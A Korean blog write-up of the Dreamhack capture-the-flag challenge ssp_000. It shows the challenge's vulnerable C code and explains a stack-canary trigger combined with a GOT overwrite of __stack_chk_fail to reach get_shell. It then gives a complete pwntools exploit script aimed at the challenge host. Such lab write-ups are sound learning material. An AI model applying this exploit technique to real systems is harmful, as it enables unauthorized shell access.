본문 바로가기

시스템해킹

[드림핵] ssp_000 풀이

728x90

 

보호기법 확인

canary가 들어있는 것을 확인할 수 있다

relro는 partial이기 때문에 got overwrite 사용이 가능하다

 

문제코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

 

문제코드를 확인했을 때 long자료형인 addr과 value에 값을 scanf로 입력받아
addr에 value 값을 넣는 것을 볼 수 있다.

코드상에 get_shell이 존재하니 canary를 임의로 발동시켜서
addr에는 canary got를 value에는 get_shell에 주소를 넣는다면 flag를 얻을 수 있을것같다.

시스템상 plt를 호출할 시 got에 값이 존재한다면got를 먼저 사용한다

 

 

디버깅

 

canary 검증에 실패했을시 main+190에 call을 사용해 __stack_chk_fail을 호출하는것을 볼 수 있는데
이 값의 got를 변조하고 canary로 인한 오류를 발생시킨다면 flag를 얻을 수 있다

 

 

 

main stack frame 작성

카나리에 오류를 발생시켜야 하기 때문에

buf에서부터 canary 값을 침범해서 값을 집어넣어야한다

 

 

payload

from pwn import *
p = remote('host3.dreamhack.games',20834)
#p = process('./ssp_000')
e = ELF('./ssp_000')

got = e.got['__stack_chk_fail']

p.send('a' * 0x50)
p.recvuntil(': ')
p.sendline(str(got))
p.recvuntil(': ')
p.sendline(str(e.symbols['get_shell']))

p.interactive()

원래는 값을 0x48만큼 a를 넣었는데
카나리 오류가 일어나지 않아 많은 값을 넣어 시도했다

 

 

결과

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'시스템해킹' 카테고리의 다른 글

[드림핵] memory_leakage 풀이  (0) 2024.09.06
[드림핵] off_by_one_001 풀이  (0) 2024.09.06
[드림핵] validator 풀이  (0) 2024.07.21
[드림핵] cmd_center 풀이  (0) 2024.07.21
[드림핵] sint 풀이  (0) 2024.07.21